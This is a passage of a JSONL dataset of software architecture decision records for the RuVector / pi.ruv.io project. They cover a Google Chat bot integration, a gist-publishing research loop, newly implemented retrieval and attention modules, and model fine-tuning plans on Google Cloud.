endpoint app |\n| **Service Account** | `pi-brain-chat@ruv-dev.iam.gserviceaccount.com` |\n| **Webhook URL** | `https://pi.ruv.io/v1/chat/google` |\n| **Project** | `ruv-dev` (us-central1) |\n| **Response Format** | Cards V2 (rich cards with headers, sections, key-value widgets) |\n\n### 3.2 Message Flow\n\n```\nUser (Google Chat) \u2192 Google Chat API \u2192 POST https://pi.ruv.io/v1/chat/google\n \u2193\n Brain Server (axum)\n \u2193\n Parse command \u2192 Execute \u2192 Format Card\n \u2193\n JSON response \u2192 Chat API \u2192 User\n```\n\n### 3.3 Supported Commands\n\n| Command | Description | Response |\n|---------|-------------|----------|\n| `search ` | Semantic search across brain knowledge | Ranked results card |\n| `status` | Brain health metrics | Key-value card |\n| `drift` | Knowledge drift analysis | Drift report card |\n| `recent` | Latest discoveries | Recent memories card |\n| `help` | Command reference | Help card |\n| *(free text)* | Auto-search fallback | Search results or help |\n\n### 3.4 Event Types\n\n| Event | Handler |\n|-------|---------|\n| `ADDED_TO_SPACE` | Welcome card with stats + commands |\n| `REMOVED_FROM_SPACE` | No-op (silent) |\n| `MESSAGE` | Parse command, execute, respond with card |\n\n### 3.5 Response Format\n\nAll responses use Google Chat Cards V2 with:\n- **Header**: Pi Brain logo, title, subtitle\n- **Sections**: Text paragraphs or key-value decorated text\n- **Links**: pi.ruv.io, API status, origin story\n\n## 4. Google Workspace Marketplace Configuration\n\n### 4.1 App Configuration (via Chat API)\n\n```yaml\nname: \"Pi Brain\"\ndescription: \"Shared superintelligence \u2014 search knowledge, check drift, get discoveries\"\navatar_url: \"https://pi.ruv.io/og-image.svg\"\nendpoint_url: \"https://pi.ruv.io/v1/chat/google\"\nauthentication: \"HTTP_ENDPOINT\"\nvisibility: \"EXTERNAL\" (or INTERNAL for org-only)\nslash_commands:\n - /search: Semantic search\n - /status: Brain health\n - /drift: Knowledge drift\n - /recent: Latest discoveries\n```\n\n### 4.2 Required OAuth Scopes\n\n- `https://www.googleapis.com/auth/chat.bot` \u2014 Bot messaging\n\n### 4.3 Marketplace Listing\n\n| Field | Value |\n|-------|-------|\n| App Name | Pi Brain |\n| Category | Productivity / Developer Tools |\n| Description | Shared superintelligence for your team. Search 2,600+ knowledge memories, monitor brain health, and get daily discovery digests \u2014 all from Google Chat. |\n| Support URL | https://pi.ruv.io |\n| Privacy Policy | https://pi.ruv.io/origin |\n| Icon | https://pi.ruv.io/og-image.svg |\n\n## 5. Deployment Steps\n\n1. [x] Enable Chat API on `ruv-dev` project\n2. [x] Create service account `pi-brain-chat`\n3. [x] Implement `POST /v1/chat/google` handler\n4. [ ] Configure Chat app in Google Cloud Console \u2192 APIs \u2192 Google Chat API \u2192 Configuration\n5. [ ] Set HTTP endpoint to `https://pi.ruv.io/v1/chat/google`\n6. [ ] Add slash commands\n7. [ ] Test in direct message\n8. [ ] Publish to Google Workspace Marketplace (optional)\n\n## 6. Security\n\n- Google Chat verifies the bot's identity via the service account\n- The `/v1/chat/google` endpoint validates the Bearer token from Google Chat\n- No user credentials are stored \u2014 the brain uses pseudonymous contributor IDs\n- All brain content is already PII-stripped (\u03b5=1.0 differential privacy)\n\n## 7. Cost\n\n| Item | Estimate |\n|------|----------|\n| Google Chat API | Free (included with Workspace) |\n| Cloud Run | No additional cost (existing service) |\n| Service Account | Free |\n\n## 8. Success Criteria\n\n- [x] Chat API enabled on ruv-dev\n- [x] Service account created\n- [x] Handler implemented with Cards V2 responses\n- [ ] Chat app configured and testable in DM\n- [ ] Slash commands registered\n- [ ] Search returns relevant results within 2s\n- [ ] Status/drift/recent commands return accurate data", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-126-google-chat-brain-integration.md", "created_at": "2026-03-28T11:58:50.295596+00:00", "content_hash": "ed5547ac9f5b4b01ec4a0530f489aa954d23fbaf6ae39ec8ec6d1e8472235b82"} +{"id": "84e2d045-a755-43dc-a830-53b06b5361ee", "source": "adr", "text": "# ADR-127: Gist Deep Research Loop \u2014 Brain-Guided Discovery Publishing\n\n**Status:** Implemented\n**Date:** 2026-03-25\n**PR:** #300\n\n## Context\n\nThe \u03c0 Brain's autonomous gist publisher was generating repetitive, low-quality content:\n- Every gist was \"X shows weak co-occurrence with Y (confidence: 50%)\"\n- Same 8 generic categories recycled (debug, architecture, geopolitics, pattern, solution, tooling, convention, discovery)\n- 45 identical-structure gists published in 48 hours\n- Gemini inflated weak signals into long articles with no substance\n\nRoot causes:\n1. Cross-domain similarity threshold too low (0.3 = nearly every pair matches)\n2. Novelty gates trivially easy to pass (2 inferences, 100 evidence)\n3. No quality filter on inference content\n4. No content-based dedup (only title dedup)\n5. Single-pass Gemini rewrite with no external validation\n\n## Decision\n\n### 1. Strict Novelty Gates\n\nRaise all thresholds to require genuinely novel, high-confidence findings:\n\n| Gate | Before | After |\n|------|--------|-------|\n| MIN_NEW_INFERENCES | 2 | 5 |\n| MIN_EVIDENCE | 100 | 500 |\n| MIN_STRANGE_LOOP_SCORE | 0.008 | 0.05 |\n| MIN_PROPOSITIONS | 5 | 10 |\n| MIN_PARETO_GROWTH | 1 | 2 |\n| MIN_INFERENCE_CONFIDENCE | \u2014 | 0.60 |\n| Rate limit | 4 hours | 24 hours |\n\n### 2. Quality Filters\n\nAdd `strong_inferences()` and `strong_propositions()` that reject:\n- \"Weak co-occurrence\" language\n- Generic cluster IDs as subjects\n- Confidence < 60%\n- `co_occurs_with` at confidence < 55%\n\n### 3. Source Signal Quality (symbolic.rs)\n\nRaise thresholds at the proposition extraction level:\n- Cross-domain similarity: 0.3 \u2192 0.45\n- `may_influence`: 0.7 \u2192 0.75\n- `associated_with`: 0.5 \u2192 0.55\n\n### 4. Three-Pass Brain-Guided Research Loop\n\nReplace single-pass Gemini rewrite with iterative research:\n\n```\nPass 1: Gemini + Google Search Grounding\n \u2192 Research domain topics, find real papers/data (2024-2026)\n \u2192 Return structured findings\n\nPass 2: Brain Memory Search\n \u2192 Query pi.ruv.io/v1/memories/search for each topic\n \u2192 Get internal context the brain has accumulated\n\nPass 3: Gemini Synthesis\n \u2192 Combine: brain's autonomous findings + grounded research + brain memories\n \u2192 Produce article that neither source could create alone\n```\n\nThe brain guides the research by providing the initial discovery signal (which domains to investigate), and the synthesis loop grounds it in real-world evidence.\n\n### 5. Content Dedup\n\nReplace title-only dedup with `category:dominant_inference` key matching. This prevents publishing \"geopolitics associated_with architecture\" followed by \"architecture associated_with geopolitics\".\n\n## Consequences\n\n**Positive:**\n- Gists will only publish ~1/day at most, and only when substantive\n- Content grounded in real papers and data via Google Search\n- Brain memories provide unique internal context\n- No more \"weak co-occurrence\" noise\n\n**Negative:**\n- May publish nothing for days if no novel signals emerge (acceptable)\n- Three Gemini API calls per publish (cost ~$0.01/gist, negligible)\n- Brain memory search adds ~500ms latency (non-blocking, background task)\n\n**Risks:**\n- If Gemini grounding returns irrelevant results, the fallback raw format is still used\n- Brain memory search requires BRAIN_SYSTEM_KEY env var", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-127-gist-deep-research-loop.md", "created_at": "2026-03-28T11:58:50.295699+00:00", "content_hash": "b953496a0cbba17fb1e9619908a0298b4991326ac8d9a98b420594e54310346d"} +{"id": "181012df-bdd5-4336-afc4-e4ed3e3cf0e8", "source": "adr", "text": "# ADR-128: SOTA Gap Implementations \u2014 Hybrid Search, MLA, KV-Cache, SSM, Graph RAG\n\n**Status**: Accepted\n**Date**: 2026-03-26\n**Authors**: Claude Code Swarm (6 parallel agents)\n**Supersedes**: None\n**Related**: ADR-001 (Quantization Tiers), ADR-006 (Memory), ADR-015 (Sheaf Attention), ADR-124 (MinCut)\n\n---\n\n## Context\n\nA comprehensive SOTA gap analysis (see `docs/research/sota-gap-analysis-2026.md`) identified 16 critical and strategic gaps between RuVector's capabilities and 2024-2026 state-of-the-art research from Google, Meta, DeepSeek, Microsoft, and the broader ML/systems community.\n\nRuVector's **unique strengths** (dynamic mincut, spectral sparsification, hyperbolic HNSW, sheaf coherence, WASM deployment) are genuine differentiators. However, **production vector search features** that are now table-stakes were missing, blocking adoption at scale.\n\n### Sources Consulted\n- pi.ruv.io brain (3,870 memories, 4.7M graph edges)\n- DiskANN Rust rewrite + Cosmos DB (VLDB 2025), PageANN, TurboQuant (ICLR 2026)\n- Mamba-3, TransMLA (2025), MHA2MLA (ACL 2025), Graph RAG (Microsoft 2024)\n\n---\n\n## Decision\n\nImplement 7 SOTA modules across 2 crates, addressing the highest-priority gaps from Tier 1 and Tier 2 of the gap analysis. Each module is self-contained with full tests and documentation.\n\n---\n\n## Implemented Modules\n\n### 1. Sparse Vector Index + RRF Hybrid Search (P0)\n**File**: `crates/ruvector-core/src/advanced_features/sparse_vector.rs` (753 lines)\n**Gap Addressed**: \u00a71.2 \u2014 No Hybrid Search (Sparse + Dense Fusion)\n\n| Component | Description |\n|-----------|-------------|\n| `SparseVector` | Sorted-index sparse representation with merge-intersection dot product O(\\|a\\|+\\|b\\|) |\n| `SparseIndex` | Inverted index mapping dimensions \u2192 posting lists of (doc_id, weight) |\n| `FusionStrategy` | **RRF** (k=60 default), **Linear** (weighted min-max), **DBSF** (z-score normalization) |\n| `fuse_rankings()` | Combines dense + sparse `ScoredDoc` lists via chosen strategy |\n\n**SOTA References**: SPLADE++, ColBERT v2, Weaviate hybrid search, Reciprocal Rank Fusion\n**Tests**: 16 unit tests\n**Impact**: Enables 20-49% retrieval improvement over pure dense search\n\n### 2. Multi-Head Latent Attention \u2014 MLA (P2)\n**File**: `crates/ruvector-attention/src/attention/mla.rs` (496 lines)\n**Gap Addressed**: \u00a72.5 \u2014 No MLA (DeepSeek-V2/V3)\n\n| Component | Description |\n|-----------|-------------|\n| `MLAConfig` | latent_dim, num_heads, head_dim, rope_dim with validation |\n| `MLALayer` | 7 weight matrices: W_dkv, W_uk, W_uv (KV compression), W_dq, W_uq (query low-rank), W_rope, W_out |\n| `MLACache` | Stores `latent_dim + rope_dim` floats per position instead of `2 \u00d7 num_heads \u00d7 head_dim` |\n| `MemoryComparison` | Reports KV-cache reduction ratio (93.75% with default config) |\n\n**SOTA References**: DeepSeek-V2/V3, TransMLA (2025), MHA2MLA (ACL 2025)\n**Tests**: 14 unit tests\n**Impact**: 93% KV-cache reduction, 5.76\u00d7 throughput improvement\n\n### 3. KV-Cache Compression (P2)\n**File**: `crates/ruvector-attention/src/attention/kv_cache.rs` (610 lines)\n**Gap Addressed**: \u00a72.4 \u2014 No TurboQuant/H2O/SnapKV\n\n| Component | Description |\n|-----------|-------------|\n| `QuantizedTensor` | Per-channel asymmetric quantization (2/3/4/8-bit) |\n| `EvictionPolicy::H2O` | Heavy Hitter Oracle \u2014 keeps tokens with highest cumulative attention scores |\n| `EvictionPolicy::SlidingWindow` | StreamingLLM-style: retain sink + recent tokens |\n| `EvictionPolicy::PyramidKV` | Layer-aware budgets: more cache for lower layers |\n| `CacheManager` | append, get, evict, update_attention_scores, compression_ratio, memory_bytes |\n\n**SOTA References**: TurboQuant (Google, ICLR 2026), KVTC (Nvidia, ICLR 2026), SALS (NeurIPS 2025)\n**Tests**: 13 unit tests\n**Impact**: 6\u00d7 memory reduction, 8\u00d7 attention speedup at 3-bit\n\n### 4. Multi-Vector / ColBERT-style Retrieval (P1)\n**File**: `crates/ruvector-core/src/advanced_features/multi_vector.rs` (565 lines)\n**Gap Addressed**: \u00a71.3 \u2014 No Multi-Vector / Late-Interaction Retrieval\n\n| Component | Description |\n|-----------|-------------|\n| `MultiVectorEntry` | doc_id + token_embeddings + precomputed norms + metadata |\n| `MultiVectorIndex` | Insert/remove/search with late interaction scoring |\n| `ScoringVariant` | **MaxSim** (ColBERT default), **AvgSim**, **SumMax** |\n| Metrics | Cosine, dot product, Euclidean, Manhattan |\n\n**SOTA References**: ColBERT v2 (Stanford), ColPali (Illuin)\n**Tests**: 14 unit tests\n**Impact**: SOTA retrieval quality via per-token interaction\n\n### 5. Matryoshka Embedding Support (P1)\n**File**: `crates/ruvector-core/src/advanced_features/matryoshka.rs` (642 lines)\n**Gap Addressed**: \u00a71.3 \u2014 No Matryoshka Representation Learning\n\n| Component | Description |\n|-----------|-------------|\n| `MatryoshkaConfig` | full_dim, supported_dims (e.g., [64, 128, 256, 512, 768]) |\n| `MatryoshkaIndex` | Store full embeddings, search at any prefix dimension |\n| `funnel_search()` | Two-phase: fast filter at low dim \u2192 rerank at full dim |\n| `cascade_search()` | Multi-stage progressive narrowing through dimension cascade |\n\n**SOTA References**: Matryoshka Representation Learning (Google, ICLR 2024)\n**Tests**: 13 unit tests\n**Impact**: 4-12\u00d7 faster search with <2% recall loss via adaptive dimensions\n\n### 6. State Space Model / Mamba (P2)\n**File**: `crates/ruvector-attention/src/attention/ssm.rs` (686 lines)\n**Gap Addressed**: \u00a72.1 \u2014 No Mamba/SSM/Linear Attention\n\n| Component | Description |\n|-----------|-------------|\n| `SelectiveSSM` (S6) | Input-dependent \u0394, B, C discretization; causal conv + selective scan |\n| `SSMState` | Recurrent hidden state for O(1)-per-token inference (no KV cache) |\n| `MambaBlock` | RMSNorm + SelectiveSSM + residual |\n| `HybridBlock` | Jamba-style interleaving of SSM + Attention layers by ratio |\n\n**SOTA References**: Mamba-3 (Dao/Gu 2025), Jamba (AI21), Hunyuan-TurboS, Bamba\n**Tests**: 13 unit tests\n**Impact**: O(n) sequence processing vs O(n\u00b2) attention; hybrid is production consensus\n\n### 7. Graph RAG Pipeline (P1)\n**File**: `crates/ruvector-core/src/advanced_features/graph_rag.rs` (699 lines)\n**Gap Addressed**: \u00a72.6 \u2014 No Graph RAG / Structured Retrieval\n\n| Component | Description |\n|-----------|-------------|\n| `KnowledgeGraph` | Adjacency list with entities, relations, BFS neighbor retrieval |\n| `CommunityDetection` | Leiden-inspired label propagation (level 0 fine, level 1 coarse) |\n| `GraphRAGPipeline` | **Local search** (entity similarity \u2192 k-hop expansion), **Global search** (community summary scoring), **Hybrid** |\n| `RetrievalResult` | Entities, relations, summaries, formatted context text |\n\n**SOTA References**: Microsoft Graph RAG (2024), RAPTOR (Stanford 2024), CRAG (2024)\n**Tests**: 13 unit tests\n**Impact**: 30-60% better answers on complex queries vs naive RAG\n\n---\n\n## Wave 2 Modules (Implemented 2026-03-26)\n\n### 8. DiskANN / Vamana SSD-Backed Index (P1)\n**File**: `crates/ruvector-core/src/advanced_features/diskann.rs`\n**Gap Addressed**: \u00a71.1 \u2014 No DiskANN / Billion-Scale SSD-Backed Search\n\n| Component | Description |\n|-----------|-------------|\n| `VamanaGraph` | In-memory Vamana graph with alpha-RNG robust pruning |\n| `DiskLayout` | Page-aligned SSD storage with configurable page size |\n| `PageCache` | LRU cache for hot pages with hit rate tracking |\n| `IOStats` | Pages read, bytes read, cache hits per query |\n| `FilteredSearch` | Predicate-interleaved graph traversal (not post-filter) |\n\n**SOTA References**: DiskANN Rust rewrite (2023+), PageANN (2025), MicroNN (SIGMOD 2025)\n**Impact**: Enables billion-scale search on commodity SSDs with 95%+ recall at sub-10ms\n\n### 9. Optimized Product Quantization \u2014 OPQ (P1)\n**File**: `crates/ruvector-core/src/advanced_features/opq.rs`\n**Gap Addressed**: \u00a71.5 \u2014 No OPQ rotation optimization\n\n| Component | Description |\n|-----------|-------------|\n| `RotationMatrix` | Orthogonal rotation via Procrustes (SVD) for dimension decorrelation |\n| `OPQIndex` | Alternating minimization: rotate \u2192 train PQ \u2192 update rotation |\n| `ADC` | Asymmetric Distance Computation with precomputed lookup tables |\n| `SVD` | Power-iteration SVD (no external deps) for Procrustes solution |\n\n**SOTA References**: ScaNN anisotropic PQ (Google), RabitQ (SIGMOD 2025), AQLM (ICML 2024)\n**Impact**: 10-30% recall improvement over vanilla PQ\n\n### 10. FlashAttention-3 IO-Aware Tiling (P2)\n**File**: `crates/ruvector-attention/src/attention/flash.rs`\n**Gap Addressed**: \u00a72.2 \u2014 No FlashAttention / Ring Attention\n\n| Component | Description |\n|-----------|-------------|\n| `FlashAttention3::forward` | Tiled Q-block \u00d7 K/V-block with online softmax (running max + sum) |\n| `RingAttention` | Simulated distributed ring communication across device shards |\n| `IOStats` | FLOPs, memory reads/writes, flop_ratio vs naive |\n| `causal_block_mask` | Efficient block-level causal masking without N\u00d7N materialization |\n\n**SOTA References**: FlashAttention-3 (Dao 2024), Ring Attention (Berkeley 2024)\n**Tests**: 12 unit tests\n**Impact**: 2-4\u00d7 attention speedup, O(N) memory vs O(N\u00b2) naive\n\n### 11. Speculative Decoding (P3)\n**File**: `crates/ruvector-attention/src/attention/speculative.rs` (480 lines)\n**Gap Addressed**: \u00a72.7 \u2014 No Speculative Decoding\n\n| Component | Description |\n|-----------|-------------|\n| `SpeculativeDecoder` | Leviathan et al. algorithm: draft \u2192 verify \u2192 accept/reject |\n| `DraftModel` / `TargetModel` traits | Pluggable small/large model interfaces |\n| `medusa_decode` | Medusa-style parallel tree-structured verification |\n| `theoretical_speedup()` | Formula: \u03b3\u00b7\u03b1 / (1 + \u03b3\u00b7(1-\u03b1)) |\n\n**SOTA References**: Leviathan et al. (2023), Medusa (2024), EAGLE-2 (2024)\n**Tests**: 14 unit tests\n**Impact**: 2-3\u00d7 inference speedup with zero quality loss\n\n### 12. GraphMAE Self-Supervised Graph Learning (P2)\n**File**: `crates/ruvector-gnn/src/graphmae.rs`\n**Gap Addressed**: \u00a72.3 \u2014 No GraphMAE / Self-Supervised Graph Learning\n\n| Component | Description |\n|-----------|-------------|\n| `FeatureMasking` | Random + degree-centrality-based node masking |\n| `GATEncoder` | Multi-layer Graph Attention Network with residual connections |\n| `GraphMAEDecoder` | Reconstruct only masked nodes (efficiency) with re-masking regularization |\n| `SCE Loss` | Scaled Cosine Error (superior to MSE for graph reconstruction) |\n\n**SOTA References**: GraphMAE (KDD 2022), GraphGPT (2024), UniGraph (ICLR 2025)\n**Tests**: 12 unit tests\n**Impact**: Eliminates labeled data requirement for graph learning; enables cross-domain transfer\n\n### 13. LSM-Tree Streaming Index Compaction (P2)\n**File**: `crates/ruvector-core/src/advanced_features/compaction.rs` (845 lines)\n**Gap Addressed**: \u00a71.6 \u2014 No Streaming/Incremental Index Updates at Scale\n\n| Component | Description |\n|-----------|-------------|\n| `MemTable` | In-memory sorted write buffer with configurable capacity |\n| `Segment` | Immutable sorted run with bloom filter for point lookups |\n| `BloomFilter` | Double-hashing with configurable false positive rate |\n| `LSMIndex` | Multi-level tiered compaction with tombstone-based deletes |\n| `WriteAmplification` | Tracking of bytes_written_user vs bytes_written_total |\n\n**SOTA References**: Fresh-DiskANN, LanceDB Lance format, Milvus segment compaction\n**Tests**: Comprehensive test suite\n**Impact**: Write-heavy workload support with automatic compaction\n\n---\n\n## Implementation Summary\n\n| Metric | Wave 1 | Wave 2 | **Total** |\n|--------|--------|--------|-----------|\n| **New code** | 4,451 lines | ~4,400 lines | **~8,850 lines** |\n| **Unit tests** | 96 | 128+ | **224+** |\n| **Crates modified** | 2 | 3 | **3** (ruvector-core, ruvector-attention, ruvector-gnn) |\n| **New modules** | 7 | 6 | **13** |\n| **Agents used** | 6 | 6 | **12** (parallel swarm) |\n| **Gaps addressed** | 7 | 6 | **13 of 16** |\n\n---\n\n## Remaining Gaps (3 of 16)\n\n| # | Gap | Priority | Effort | Notes |\n|---|-----|----------|--------|-------|\n| 1 | **GPU-accelerated search** | P3 | High | CUDA kernels for batch distance computation. Can wrap FAISS GPU via FFI. Starling (FAST'25) shows CPU/GPU collaborative filtering. |\n| 2 | **Multimodal embeddings (SigLIP)** | P2 | High | CLIP-style joint vision-language space. Essential for DrAgnes medical imaging. CNN crate's MobileNet backbone is disabled. |\n| 3 | **MoE routing** | P3 | Very High | Mixture of Experts for ruvLLM inference. DeepSeek-V3's auxiliary-loss-free load balancing is SOTA. `ruvector-attention/src/moe/` has partial MoE attention but no full inference routing. |\n\n### Additional Gaps (from pi.ruv.io brain analysis)\n\n| # | Gap | Priority | Notes |\n|---|-----|----------|-------|\n| 4 | **JEPA** (Joint Embedding Predictive Architecture) | P3 | Meta's non-contrastive self-supervised learning |\n| 5 | **Test-Time Compute / Training** | P3 | Gradient-based adaptation at inference time |\n| 6 | **DPO/ORPO/KTO alignment** | P3 | Direct preference optimization methods |\n| 7 | **Structured pruning** (SparseGPT/Wanda) | P3 | 50-60% weight removal for edge deployment |\n\n---\n\n## Consequences\n\n### Positive\n- **13 of 16 gaps addressed** \u2014 RuVector now has parity or leads in most SOTA categories\n- **Hybrid search** closes the #1 adoption blocker for RAG use cases\n- **DiskANN + OPQ + Compaction** enable billion-scale deployment\n- **MLA + KV-cache + FlashAttention + SSM** provide complete modern inference stack\n- **Graph RAG + GraphMAE** uniquely combine graph learning with structured retrieval\n- **Speculative decoding** provides 2-3\u00d7 inference speedup\n- **Matryoshka + Multi-vector** provide SOTA retrieval quality with adaptive efficiency\n\n### Negative\n- ~8,850 lines added \u2014 increases maintenance surface across 3 crates\n- Some modules exceed the 500-line CLAUDE.md guideline\n- No integration tests between modules yet (e.g., DiskANN + OPQ + sparse search pipeline)\n- No benchmarks against reference implementations yet\n\n### Risks\n- SSM/MLA implementations use random weight initialization \u2014 need pretrained model loading for production\n- Graph RAG community detection is simplified (label propagation vs full Leiden)\n- KV-cache eviction policies are heuristic \u2014 may need workload-specific tuning\n- DiskANN uses simulated disk I/O \u2014 needs real mmap/io_uring integration for production\n- OPQ SVD via power iteration may be slow for very high dimensions (>4096)\n\n---\n\n## Next Steps (Recommended Priority)\n\n1. **Integration tests** \u2014 wire DiskANN + OPQ + sparse search into end-to-end pipeline\n2. **Benchmark suite** \u2014 BEIR for hybrid search, SIFT100M for DiskANN/PQ, Long-context for KV-cache\n3. **GPU-accelerated search** (P3) \u2014 CUDA kernels or FAISS FFI for batch throughput\n4. **SigLIP multimodal embeddings** (P2) \u2014 cross-modal search for DrAgnes\n5. **MoE routing** (P3) \u2014 full inference routing for ruvLLM\n6. **Production hardening** \u2014 real mmap for DiskANN, pretrained weight loading for MLA/SSM\n\n---\n\n## References\n\n- [DiskANN Overview](https://harsha-simhadri.org/diskann-overview.html) \u2014 Rust rewrite with Provider API\n- [DiskANN + Cosmos DB (VLDB 2025)](https://arxiv.org/pdf/2505.05885) \u2014 43\u00d7 lower cost than Pinecone\n- [PageANN (2025)](https://arxiv.org/pdf/2509.25487) \u2014 7\u00d7 throughput over DiskANN\n- [TurboQuant (Google, ICLR 2026)](https://research.google/blog/turboquant-redefining-ai-efficiency-with-extreme-compression/) \u2014 3-bit KV-cache, zero accuracy loss\n- [KVTC (Nvidia, ICLR 2026)](https://www.tomshardware.com/tech-industry/artificial-intelligence/googles-turboquant-compresses-llm-kv-caches-to-3-bits-with-no-accuracy-loss) \u2014 20\u00d7 compression\n- [Mamba-3 (2025)](https://arxiv.org/html/2603.15569) \u2014 MIMO formulation, +2.2 over Transformers\n- [TransMLA (2025)](https://arxiv.org/abs/2502.07864) \u2014 10.6\u00d7 inference speedup with MLA migration\n- [MHA2MLA (ACL 2025)](https://aclanthology.org/2025.acl-long.1597.pdf) \u2014 92% KV reduction, 0.5% quality drop\n- [DeepSeek-V2 MLA](https://arxiv.org/abs/2405.04434) \u2014 93.3% KV-cache reduction\n- [ColBERT v2](https://arxiv.org/abs/2112.01488) \u2014 Late interaction retrieval\n- [Matryoshka (ICLR 2024)](https://arxiv.org/abs/2205.13147) \u2014 Adaptive dimension embeddings\n- [Microsoft Graph RAG (2024)](https://arxiv.org/abs/2404.16130) \u2014 Community summaries + map-reduce\n- [RAPTOR (Stanford 2024)](https://arxiv.org/abs/2401.18059) \u2014 Recursive abstractive processing\n- [Rise of Hybrid LLMs (AI21)](https://www.ai21.com/blog/rise-of-hybrid-llms/) \u2014 SSM + attention consensus\n- [Google Graph Learning Evolution](https://research.google/blog/the-evolution-of-graph-learning/) \u2014 Graph foundation models", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-128-sota-gap-implementations.md", "created_at": "2026-03-28T11:58:50.295840+00:00", "content_hash": "6aa0a268c5367362a94ca87296eebde333ccbcda81d10a5e4e1057fefa536e1b"} +{"id": "c6ae48b3-26f3-4a94-aa03-76209deb7732", "source": "adr", "text": "# ADR-129: RuvLTRA Model Training & TurboQuant Optimization on Google Cloud\n\n## Status\n\nProposed \u2014 pending governance and release gate hardening\n\n## Date\n\n2026-03-28\n\n## Context\n\nRuvLTRA models (0.5B-3B parameters) are the purpose-built LLMs powering Claude Code integrations via RuvLLM. The current published models (`ruv/ruvltra-claude-code`, `ruv/ruvltra`, `ruv/ruvltra-medium`, `ruv/ruvltra-small`) have accumulated 8,281 HuggingFace downloads but haven't been retrained since their initial release. Meanwhile, significant new capabilities have been implemented:\n\n1. **TurboQuant** (1,483 lines) \u2014 2-4 bit asymmetric per-channel KV-cache quantization with 6-8x memory reduction\n2. **WET Processing** \u2014 Common Crawl data pipeline (`brain-wet-daily`) extracting training-relevant web content\n3. **Brain Knowledge** \u2014 pi.ruv.io brain with 3,870+ memories and 4.7M+ graph edges of accumulated knowledge\n4. **v2.1.0 SOTA modules** \u2014 FlashAttention-3, Graph RAG, MLA, Mamba SSM, DiskANN, ColBERT, OPQ\n\n### Available GCloud Infrastructure\n\n| Resource | Details |\n|----------|---------|\n| **Project** | `ruv-dev` |\n| **Billing** | `Generative Ai` account (active) |\n| **GPUs** | GB200 (192GB), B200 (180GB), H200 (141GB), H100 (80GB), A100 (80GB/40GB), L4 (24GB), T4 (16GB) |\n| **TPUs** | v3, v3p, v5l, v5lp, v5p, v6e |\n| **Existing finetuning service** | `phi4-finetuning-gpu` \u2014 Cloud Run, L4 GPU, 8 CPU, 32GB RAM, HF_TOKEN configured |\n| **Scheduler** | 21 active jobs including `brain-train` (every 5min), `brain-transfer` (30min), `brain-wet-daily` |\n| **Secrets** | HuggingFace token, Anthropic key, Google AI key, brain keys |\n| **Artifact Registry** | `ruvector` Docker repo in us-central1 |\n| **Vertex AI** | Enabled, no current jobs |\n\n### Current Model Artifacts\n\n| Model | Parameters | Quants | Downloads | Status |\n|-------|-----------|--------|-----------|--------|\n| ruvltra-claude-code | Fine-tuned | Q4K, Q5K, Q8, imatrix | 7,615 | Production |\n| ruvltra | 0.5B | Q4K, Q5K, Q8, FP16 | 560 | Production |\n| ruvltra-medium | 3B | Q4K, Q5K, Q8, FP16 | 74 | Production |\n| ruvltra-small | 494M | Q4K, Q5K, Q8, FP16 | 32 | Production |\n\n## Decision\n\n### Phase 1: imatrix Recalibration + TurboQuant KV Profiling (Week 1)\n\n**Goal**: Produce improved GGUF quantizations with code-focused imatrix calibration, and generate TurboQuant KV-cache configuration profiles per model.\n\n**Important**: TurboQuant operates at **runtime on KV-cache and embeddings** \u2014 it is not a weight quantization format. It is data-oblivious (no training, no codebooks). The optimization here is:\n1. Better imatrix calibration \u2192 better base GGUF quantizations\n2. Per-model TurboQuant KV profiles \u2192 optimal bit-width per attention layer at runtime\n\n#### 1.1 imatrix Recalibration\n\nGenerate new importance matrices using RuvLTRA-specific calibration data:\n- Code generation tasks (HumanEval, MBPP)\n- Agent routing examples (Claude Flow dataset, 2,700+ examples)\n- Claude Code instruction-following (ADR corpus, v2.1.0 code)\n\nProduce updated GGUF variants with code-optimized imatrix:\n\n| Variant | Format | Size (3B) | Use Case |\n|---------|--------|-----------|----------|\n| `Q4_K_M` (recalibrated) | Standard GGUF | ~2.1 GB | **Default \u2014 production** |\n| `Q5_K_M` (recalibrated) | Standard GGUF | ~2.5 GB | Higher quality |\n| `Q8_0` (recalibrated) | Standard GGUF | ~3.5 GB | Quality-first |\n| `Q2_K` (recalibrated) | Standard GGUF | ~1.0 GB | Edge/mobile |\n\n#### 1.2 TurboQuant KV-Cache Profiling\n\nProfile each model's attention patterns to determine optimal per-layer TurboQuant configuration:\n\n```bash\n# Cloud Run Job: imatrix + TurboQuant profiling\ngcloud run jobs create ruvltra-calibration \\\n --image=gcr.io/ruv-dev/ruvltra-training:latest \\\n --cpu=8 --memory=32Gi --gpu=1 --gpu-type=nvidia-l4 \\\n --region=us-central1 \\\n --set-secrets=HF_TOKEN=huggingface-token:latest \\\n --max-retries=1 --task-timeout=3600s \\\n --command=\"python3,calibrate_and_profile.py\"\n```\n\n**Outputs**:\n1. New imatrix files for each model\n2. TurboQuant runtime config: recommended bits per layer, eviction policy, QJL settings\n3. Perplexity delta report: standard KV vs TQ3 vs TQ4 per layer\n\n### Phase 2: WET-Augmented LoRA Fine-Tuning (Week 2-3)\n\n**Goal**: LoRA fine-tune RuvLTRA models on curated data from brain knowledge + WET (Common Crawl WARC/WET extraction) processing + new v2.1.0 documentation.\n\n**Note**: Full pre-training is not in scope. The existing Rust training infrastructure supports LoRA adapters (rank 2-32) and embedding fine-tuning. For full SFT/DPO, we use Python (transformers + trl + peft) on Vertex AI.\n\n#### 2.1 Training Data Sources\n\n| Source | Records | Content | Pipeline |\n|--------|---------|---------|----------|\n| **Brain memories** | 3,870+ | Architecture patterns, solutions, conventions, debug knowledge | `pi.ruv.io/v1/memories/list` |\n| **WET extraction** | ~50K pages | Rust/ML/vector-DB documentation from Common Crawl | `brain-wet-daily` scheduler |\n| **Claude Flow routing** | 2,700+ | Claude-style training examples (existing HF dataset) | `ruvnet/claude-flow-routing` |\n| **v2.1.0 code** | 8,577 lines | TurboQuant, Graph RAG, FlashAttention-3, DiskANN implementations | Git history |\n| **ADR corpus** | 129 docs | Architectural decisions with rationale | `docs/adr/` |\n\n#### 2.2 Dataset Governance\n\n**Record schema** \u2014 every training record must contain:\n\n```json\n{\n \"id\": \"uuid\",\n \"source\": \"brain|wet|claude-routing|code|adr\",\n \"text\": \"...\",\n \"license\": \"apache-2.0|mit|cc-by-4.0|public-domain\",\n \"quality_score\": 0.0-1.0,\n \"provenance\": \"url or commit hash\",\n \"created_at\": 